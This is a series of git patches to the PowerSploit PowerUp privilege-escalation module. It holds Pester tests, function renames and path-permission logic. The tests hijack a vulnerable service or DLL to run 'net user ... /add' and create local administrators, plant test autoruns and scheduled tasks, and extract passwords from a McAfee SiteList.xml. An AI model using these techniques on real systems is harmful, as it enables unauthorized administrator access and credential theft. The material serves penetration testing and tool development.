$ServicePath + $Null = sc.exe create 'PowerUpService' binPath= $ServicePath } AfterEach { try { - $Null = Invoke-ServiceStop -ServiceName PowerUpService - $Null = sc.exe delete "PowerUpService" + $Null = Stop-Service -Name PowerUpService -Force + $Null = sc.exe delete 'PowerUpService' $Null = $(net user john /delete >$Null 2>&1) } finally { @@ -434,49 +733,65 @@ Describe 'Install-ServiceBinary' { } It 'Should abuse a vulnerable service binary to add a local administrator with default options.' { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' + $Output.Command | Should Match 'net' - $Output = Install-ServiceBinary -ServiceName "PowerUpService" - $Output.Command | Should Match "net" - - $Null = Invoke-ServiceStart -ServiceName PowerUpService + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } - $Null = Invoke-ServiceStop -ServiceName PowerUpService + $Null = Stop-Service -Name PowerUpService -Force $Output = Restore-ServiceBinary -ServiceName PowerUpService "$(Get-Location)\powerup.exe.bak" | Should Not Exist } - It 'Should accept a service name on the pipeline.' { + It 'Should accept a service Name on the pipeline.' { + $Output = 'PowerUpService' | Install-ServiceBinary + $Output.Command | Should Match 'net' - $Output = "PowerUpService" | Install-ServiceBinary - $Output.Command | Should Match "net" + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + $Null = Stop-Service -Name PowerUpService -Force + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } - $Null = Invoke-ServiceStart -ServiceName PowerUpService + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'PowerUpService' | Install-ServiceBinary + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } - $Null = Invoke-ServiceStop -ServiceName PowerUpService + $Null = Stop-Service -Name PowerUpService -Force $Output = Restore-ServiceBinary -ServiceName PowerUpService "$(Get-Location)\powerup.exe.bak" | Should Not Exist } It 'User should not be created for a non-existent service.' { - $Output = Install-ServiceBinary -ServiceName "NonExistentService456" - $Output.Command | Should Match "Not found" + {Install-ServiceBinary -ServiceName "NonExistentService456"} | Should Throw + + if( ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' should not have been created for non-existent service." + } } It 'Should accept custom user/password arguments.' { - $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' - $Output.Command | Should Match "net" + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' + $Output.Command | Should Match 'net' - $Null = Invoke-ServiceStart -ServiceName PowerUpService + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match "PowerUp")) { + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { Throw "Local user 'PowerUp' not created." } $Null = $(net user PowerUp /delete >$Null 2>&1) @@ -485,12 +800,45 @@ Describe 'Install-ServiceBinary' { "$(Get-Location)\powerup.exe.bak" | Should Not Exist } - It 'Should accept a custom command.' { + It 'Should accept a credential object.' { + $Username = 'PowerUp123' + $Password = ConvertTo-SecureString 'PASSword123!' -AsPlaintext -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $Password - $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add" - $Output.Command | Should Match "net" + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Credential $Credential + $Output.Command | Should Match 'net' - $Null = Invoke-ServiceStart -ServiceName PowerUpService + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match 'PowerUp123')) { + Throw "Local user 'PowerUp123' not created." + } + $Null = $(net user PowerUp123 /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept an alternate LocalGroup.' { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Guests) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept a custom command.' { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add" + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 if( -not ($(net user) -match "testing")) { Throw "Custom command failed." @@ -509,11 +857,19 @@ Describe 'Install-ServiceBinary' { # ######################################################## -Describe 'Find-DLLHijack' { +Describe 'Find-ProcessDLLHijack' { It 'Should return results.' { - $Output = Find-DLLHijack + $Output = Find-ProcessDLLHijack $Output | Should Not BeNullOrEmpty } + + It 'Should accept a Process name on the pipeline.' { + {'powershell' | Find-ProcessDLLHijack} | Should Not Throw + } + + It 'Should accept a service object on the pipeline.' { + {Get-Process powershell | Find-ProcessDLLHijack} | Should Not Throw + } } @@ -525,16 +881,29 @@ Describe 'Find-PathHijack' { It 'Should find a hijackable %PATH% folder.' { - New-Item -Path C:\PowerUpTest\ -ItemType directory -Force + New-Item -Path 'C:\PowerUpTest\' -ItemType directory -Force try { $OldPath = $Env:PATH $Env:PATH += ';C:\PowerUpTest\' - $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"} + $Output = Find-PathHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 $Env:PATH = $OldPath - $Output.HijackablePath | Should Be 'C:\PowerUpTest\' + + $Output.Path | Should Be 'C:\PowerUpTest\' + + if ($Output.PSObject.Properties.Name -notcontains 'Path') { + Throw "Find-PathHijack result doesn't contain 'Path' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathHijack result doesn't contain 'Permissions' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathHijack result doesn't contain 'IdentityReference' field." + } } catch { $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue @@ -542,13 +911,13 @@ Describe 'Find-PathHijack' { } } -# won't actually execute on Win8+ with the wlbsctrl.dll method -Describe 'Write-HijackDll' { +Describe 'Write-HijackDll' { + # won't actually execute on Win8+ with the wlbsctrl.dll method + # TODO: write tests to properly cover parameter validation It 'Should write a .dll that executes a custom command.' { - try { - Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add" + Write-HijackDll -DllPath "$(Get-Location)\powerup.dll" -Command 'net user testing Password123! /add' "$(Get-Location)\powerup.dll" | Should Exist "$(Get-Location)\debug.bat" | Should Exist @@ -567,45 +936,68 @@ Describe 'Write-HijackDll' { # ######################################################## -Describe 'Get-RegAlwaysInstallElevated' { +Describe 'Get-RegistryAlwaysInstallElevated' { + # TODO: set registry key, ensure it retrieves It 'Should not throw.' { - {Get-ServicePermission} | Should Not Throw + {Get-RegistryAlwaysInstallElevated} | Should Not Throw } } -Describe 'Get-RegAutoLogon' { +Describe 'Get-RegistryAutoLogon' { + # TODO: set a vulnerable autorun credential, ensure it retrieves It 'Should not throw.' { - {Get-ServicePermission} | Should Not Throw + {Get-RegistryAutoLogon} | Should Not Throw } } -Describe 'Get-VulnAutoRun' { +Describe 'Get-RegistryAutoRun' { if(-not $(Test-IsAdmin)) { - Throw "'Get-VulnAutoRun' Pester test needs local administrator privileges." + Throw "'Get-RegistryAutoRun' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-VulnAutoRun} | Should Not Throw + {Get-RegistryAutoRun} | Should Not Throw } + It 'Should find a vulnerable autorun.' { try { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" - $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"} + $Output = Get-RegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 + + $Output.ModifiableFile.Path | Should Be $FilePath + + if ($Output.PSObject.Properties.Name -notcontains 'Key') { + Throw "Get-RegistryAutoRun result doesn't contain 'Key' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-RegistryAutoRun result doesn't contain 'Path' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiableFile') { + Throw "Get-RegistryAutoRun result doesn't contain 'ModifiableFile' field." + } + + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Path' field." + } + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." + } + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'IdentityReference' field." + } $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp - - $Output.ModifiableFile | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue } - } + } } @@ -615,28 +1007,47 @@ Describe 'Get-VulnAutoRun' { # ######################################################## -Describe 'Get-VulnSchTask' { +Describe 'Get-ModifiableScheduledTaskFile' { if(-not $(Test-IsAdmin)) { - Throw "'Get-VulnSchTask' Pester test needs local administrator privileges." + Throw "'Get-ModifiableScheduledTaskFile' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-VulnSchTask} | Should Not Throw + {Get-ModifiableScheduledTaskFile} | Should Not Throw } It 'Should find a vulnerable config file for a binary specified in a schtask.' { - try { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f - $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'} + $Output = Get-ModifiableScheduledTaskFile | Where-Object {$_.TaskName -eq 'PowerUp'} | Select-Object -First 1 $Null = schtasks.exe /delete /tn PowerUp /f - - $Output.TaskFilePath | Should Be $FilePath + + $Output.TaskFilePath.Path | Should Be $FilePath + + if ($Output.PSObject.Properties.Name -notcontains 'TaskName') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskName' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'TaskFilePath') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskFilePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'TaskTrigger') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskTrigger' field." + } + + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Path' field." + } + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Permissions' field." + } + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'IdentityReference' field." + } } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -683,23 +1094,6 @@ Describe 'Get-ApplicationHost' { } } - -Describe 'Invoke-AllChecks' { - It 'Should return results to stdout.' { - $Output = Invoke-AllChecks - $Output | Should Not BeNullOrEmpty - } - It 'Should produce a HTML report with -HTMLReport.' { - $Output = Invoke-AllChecks -HTMLReport - $Output | Should Not BeNullOrEmpty - - $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" - - $HtmlReportFile | Should Exist - $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue - } -} - Describe 'Get-SiteListPassword' { BeforeEach { $Xml = 'Products/CommonUpdater0jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==Repository$0companydomainMcAfeeServicePassword123!Repository$0companydomainMcAfeeServicejWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' @@ -709,7 +1103,7 @@ Describe 'Get-SiteListPassword' { Remove-Item -Force "${Home}\SiteList.xml" } - It 'Should correctly parse a SiteList.xml found in a searched path.' { + It 'Should correctly find and parse a SiteList.xml file.' { $Credentials = Get-SiteListPassword @@ -724,7 +1118,6 @@ Describe 'Get-SiteListPassword' { $_.DomainName | Should BeNullOrEmpty } - $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { # UNC site with unencrypted password $_.Enabled | Should Be '1' @@ -748,9 +1141,9 @@ Describe 'Get-SiteListPassword' { } } - It 'Should correctly parse a SiteList.xml on a searched path.' { + It 'Should correctly parse a SiteList.xml on a specified path.' { - $Credentials = Get-SiteListPassword -SiteListFilePath "${Home}\SiteList.xml" + $Credentials = Get-SiteListPassword -Path "${Home}\SiteList.xml" $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object { # HTTP site @@ -762,7 +1155,6 @@ Describe 'Get-SiteListPassword' { $_.UserName | Should BeNullOrEmpty $_.DomainName | Should BeNullOrEmpty } - $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { # UNC site with unencrypted password @@ -789,6 +1181,23 @@ Describe 'Get-SiteListPassword' { } +Describe 'Invoke-AllChecks' { + It 'Should return results to stdout.' { + $Output = Invoke-AllChecks + $Output | Should Not BeNullOrEmpty + } + It 'Should produce a HTML report with -HTMLReport.' { + $Output = Invoke-AllChecks -HTMLReport + $Output | Should Not BeNullOrEmpty + + $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" + + $HtmlReportFile | Should Exist + $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue + } +} + + Describe 'Get-System' { if(-not $(Test-IsAdmin)) { -- cgit v1.2.3 From 491594529205b66937c718b38cb4e7909935e6ec Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 4 Jun 2016 19:07:28 -0400 Subject: Renamed Get-RegistryAutoRun to Get-ModifiableRegistryAutoRun Renamed Find-PathHijack to Find-PathDLLHijack Fixed exposed functions in PowerSploit.psd1 --- PowerSploit.psd1 | 23 +++++++++++++++-------- Privesc/PowerUp.ps1 | 15 +++++++-------- Privesc/Privesc.psd1 | 4 ++-- Privesc/README.md | 6 +++--- Tests/Privesc.tests.ps1 | 32 ++++++++++++++++---------------- 5 files changed, 43 insertions(+), 37 deletions(-) (limited to 'Tests') diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 492b846..065ea68 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -25,27 +25,29 @@ FunctionsToExport = @( 'Add-NetUser', 'Add-ObjectAcl', 'Add-Persistence', + 'Add-ServiceDacl', 'Convert-NameToSid', 'Convert-NT4toCanonical', 'Convert-SidToName', 'Copy-ClonedFile', 'Find-AVSignature', 'Find-ComputerField', - 'Find-DLLHijack', 'Find-ForeignGroup', 'Find-ForeignUser', 'Find-GPOComputerAdmin', 'Find-GPOLocation', 'Find-InterestingFile', 'Find-LocalAdminAccess', + 'Find-PathDLLHijack', + 'Find-ProcessDLLHijack', 'Find-ManagedSecurityGroups', - 'Find-PathHijack', 'Find-UserField', 'Get-ADObject', 'Get-ApplicationHost', 'Get-CachedRDPConnection', 'Get-ComputerDetails', 'Get-ComputerProperty', + 'Get-CurrentUserTokenGroupSid', 'Get-DFSshare', 'Get-DomainPolicy', 'Get-ExploitableSystem', @@ -53,6 +55,11 @@ FunctionsToExport = @( 'Get-HttpStatus', 'Get-Keystrokes', 'Get-LastLoggedOn', + 'Get-ModifiablePath', + 'Get-ModifiableRegistryAutoRun', + 'Get-ModifiableScheduledTaskFile', + 'Get-ModifiableService', + 'Get-ModifiableServiceFile', 'Get-NetComputer', 'Get-NetDomain', 'Get-NetDomainController', @@ -79,21 +86,19 @@ FunctionsToExport = @( 'Get-ObjectAcl', 'Get-PathAcl', 'Get-Proxy', - 'Get-RegAlwaysInstallElevated', - 'Get-RegAutoLogon', + 'Get-RegistryAlwaysInstallElevated', + 'Get-RegistryAutoLogon', 'Get-SecurityPackages', 'Get-ServiceDetail', - 'Get-ServiceFilePermission', - 'Get-ServicePermission', 'Get-ServiceUnquoted', + 'Get-SiteListPassword', + 'Get-System', 'Get-TimedScreenshot', 'Get-UnattendedInstallFile', 'Get-UserEvent', 'Get-UserProperty', 'Get-VaultCredential', 'Get-VolumeShadowCopy', - 'Get-VulnAutoRun', - 'Get-VulnSchTask', 'Get-Webconfig', 'Install-ServiceBinary', 'Install-SSP', @@ -133,6 +138,8 @@ FunctionsToExport = @( 'Set-CriticalProcess', 'Set-MacAttribute', 'Set-MasterBootRecord', + 'Set-ServiceBinPath', + 'Test-ServiceDaclPermission', 'Write-HijackDll', 'Write-ServiceBinary', 'Write-UserAddMSI' diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 6e473d6..4071f6a 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -2361,7 +2361,7 @@ function Find-ProcessDLLHijack { } -function Find-PathHijack { +function Find-PathDLLHijack { <# .SYNOPSIS @@ -2379,7 +2379,7 @@ function Find-PathHijack { .EXAMPLE - PS C:\> Find-PathHijack + PS C:\> Find-PathDLLHijack Finds all %PATH% .DLL hijacking opportunities. @@ -2720,8 +2720,7 @@ function Get-RegistryAutoLogon { } } - -function Get-RegistryAutoRun { +function Get-ModifiableRegistryAutoRun { <# .SYNOPSIS @@ -2736,7 +2735,7 @@ function Get-RegistryAutoRun { .EXAMPLE - PS C:\> Get-RegistryAutoRun + PS C:\> Get-ModifiableRegistryAutoRun Return vulneable autorun binaries (or associated configs). #> @@ -3571,7 +3570,7 @@ function Invoke-AllChecks { # DLL hijacking "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." - $Results = Find-PathHijack + $Results = Find-PathDLLHijack $Results | Foreach-Object { $AbuseString = "Write-HijackDll -DllPath '$($_.Path)\wlbsctrl.dll'" $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString @@ -3604,8 +3603,8 @@ function Invoke-AllChecks { } - "`n`n[*] Checking for registry autoruns and configs..." - $Results = Get-RegistryAutoRun + "`n`n[*] Checking for modifidable registry autoruns and configs..." + $Results = Get-ModifiableRegistryAutoRun $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

Registry Autoruns

" | Out-File -Append $HtmlReportFile diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index e4222bf..97b7652 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -24,17 +24,17 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( 'Add-ServiceDacl', - 'Find-PathHijack', + 'Find-PathDLLHijack', 'Find-ProcessDLLHijack', 'Get-ApplicationHost', 'Get-CurrentUserTokenGroupSid', 'Get-ModifiablePath', + 'Get-ModifiableRegistryAutoRun', 'Get-ModifiableScheduledTaskFile', 'Get-ModifiableService', 'Get-ModifiableServiceFile', 'Get-RegistryAlwaysInstallElevated', 'Get-RegistryAutoLogon', - 'Get-RegistryAutoRun', 'Get-ServiceDetail', 'Get-ServiceUnquoted', 'Get-SiteListPassword', diff --git a/Privesc/README.md b/Privesc/README.md index 8e4b75d..7f57768 100644 --- a/Privesc/README.md +++ b/Privesc/README.md @@ -41,13 +41,13 @@ Optional Dependencies: None ### DLL Hijacking: Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes - Find-PathHijack - finds service %PATH% .dll hijacking opportunities - Write-HijackDll - writes out a hijackable .dll + Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities + Write-HijackDll - writes out a hijackable DLL ### Registry Checks: Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set Get-RegistryAutoLogon - checks for Autologon credentials in the registry - Get-RegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns + Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns ### Miscellaneous Checks: Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 3641ece..62aad67 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -873,10 +873,10 @@ Describe 'Find-ProcessDLLHijack' { } -Describe 'Find-PathHijack' { +Describe 'Find-PathDLLHijack' { if(-not $(Test-IsAdmin)) { - Throw "'Find-PathHijack' Pester test needs local administrator privileges." + Throw "'Find-PathDLLHijack' Pester test needs local administrator privileges." } It 'Should find a hijackable %PATH% folder.' { @@ -887,22 +887,22 @@ Describe 'Find-PathHijack' { $OldPath = $Env:PATH $Env:PATH += ';C:\PowerUpTest\' - $Output = Find-PathHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 + $Output = Find-PathDLLHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 $Env:PATH = $OldPath $Output.Path | Should Be 'C:\PowerUpTest\' if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Find-PathHijack result doesn't contain 'Path' field." + Throw "Find-PathDLLHijack result doesn't contain 'Path' field." } if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { - Throw "Find-PathHijack result doesn't contain 'Permissions' field." + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." } if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { - Throw "Find-PathHijack result doesn't contain 'IdentityReference' field." + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." } } catch { @@ -952,14 +952,14 @@ Describe 'Get-RegistryAutoLogon' { } -Describe 'Get-RegistryAutoRun' { +Describe 'Get-ModifiableRegistryAutoRun' { if(-not $(Test-IsAdmin)) { - Throw "'Get-RegistryAutoRun' Pester test needs local administrator privileges." + Throw "'Get-ModifiableRegistryAutoRun' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-RegistryAutoRun} | Should Not Throw + {Get-ModifiableRegistryAutoRun} | Should Not Throw } It 'Should find a vulnerable autorun.' { @@ -968,28 +968,28 @@ Describe 'Get-RegistryAutoRun' { $Null | Out-File -FilePath $FilePath -Force $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" - $Output = Get-RegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 + $Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 $Output.ModifiableFile.Path | Should Be $FilePath if ($Output.PSObject.Properties.Name -notcontains 'Key') { - Throw "Get-RegistryAutoRun result doesn't contain 'Key' field." + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Key' field." } if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-RegistryAutoRun result doesn't contain 'Path' field." + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Path' field." } if ($Output.PSObject.Properties.Name -notcontains 'ModifiableFile') { - Throw "Get-RegistryAutoRun result doesn't contain 'ModifiableFile' field." + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'ModifiableFile' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Path' field." + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Path' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') { - Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'IdentityReference') { - Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'IdentityReference' field." + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'IdentityReference' field." } $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -- cgit v1.2.3 From e83cfae7981d970ca138566d2d5214cbd573494e Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 4 Jun 2016 22:06:21 -0400 Subject: Get-ModifiablePath now also checks parent folders of files for modification Bug fixes Corrected PowerUp Pester tests Changed 'Path' field to 'ModifiablePath' in 'Get-ModifiablePath' Get-ServiceUnquoted now filters paths through Get-ModifiablePath --- Privesc/PowerUp.ps1 | 130 +++++++++++++++++++++++++++--------- Tests/Privesc.tests.ps1 | 173 ++++++++++++++++++++++++++---------------------- 2 files changed, 193 insertions(+), 110 deletions(-) (limited to 'Tests') diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 4071f6a..447ce61 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -763,6 +763,10 @@ function Get-ModifiablePath { The string path to parse for modifiable files. Required + .PARAMETER LiteralPaths + + Switch. Treat all paths as literal (i.e. don't do 'tokenization'). + .EXAMPLE PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath @@ -788,7 +792,10 @@ function Get-ModifiablePath { [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] [Alias('FullName')] [String[]] - $Path + $Path, + + [Switch] + $LiteralPaths ) BEGIN { @@ -835,9 +842,52 @@ function Get-ModifiablePath { # possible separator character combinations $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") - ForEach($SeparationCharacterSet in $SeparationCharacterSets) { - $CandidatePaths += $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { - Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + if($PSBoundParameters['LiteralPaths']) { + + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath)) + + if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path + } + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = Split-Path $TempPath -Parent + if($ParentPath -and (Test-Path -Path $ParentPath)) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } + catch { + # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + } + } + } + else { + ForEach($SeparationCharacterSet in $SeparationCharacterSets) { + $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { + if(($SeparationCharacterSet -notmatch ' ')) { + $TempPath = $([System.Environment]::ExpandEnvironmentVariables($_)) + + if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) { + $CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path + } + else { + # if the path doesn't exist, check if the parent folder allows for modification + try { + $ParentPath = Split-Path $TempPath -Parent + if($ParentPath -and (Test-Path -Path $ParentPath )) { + $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } + catch { + # because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely + } + } + } + else { + $CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + } + } } } @@ -850,7 +900,7 @@ function Get-ModifiablePath { $Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] } # the set of permission types that allow for modification - $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile') -IncludeEqual -ExcludeDifferent + $Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent if($Comparison) { if ($_.IdentityReference -notmatch '^S-1-5.*') { @@ -867,7 +917,7 @@ function Get-ModifiablePath { if($CurrentUserSids -contains $IdentitySID) { New-Object -TypeName PSObject -Property @{ - Path = $CandidatePath + ModifiablePath = $CandidatePath IdentityReference = $_.IdentityReference Permissions = $Permissions } @@ -924,7 +974,7 @@ function Get-CurrentUserTokenGroupSid { [UInt32]$RealSize = 0 - # query the current process token with the 'TokenGroups=' constant to retrieve a TOKEN_GROUPS structure + # query the current process token with the 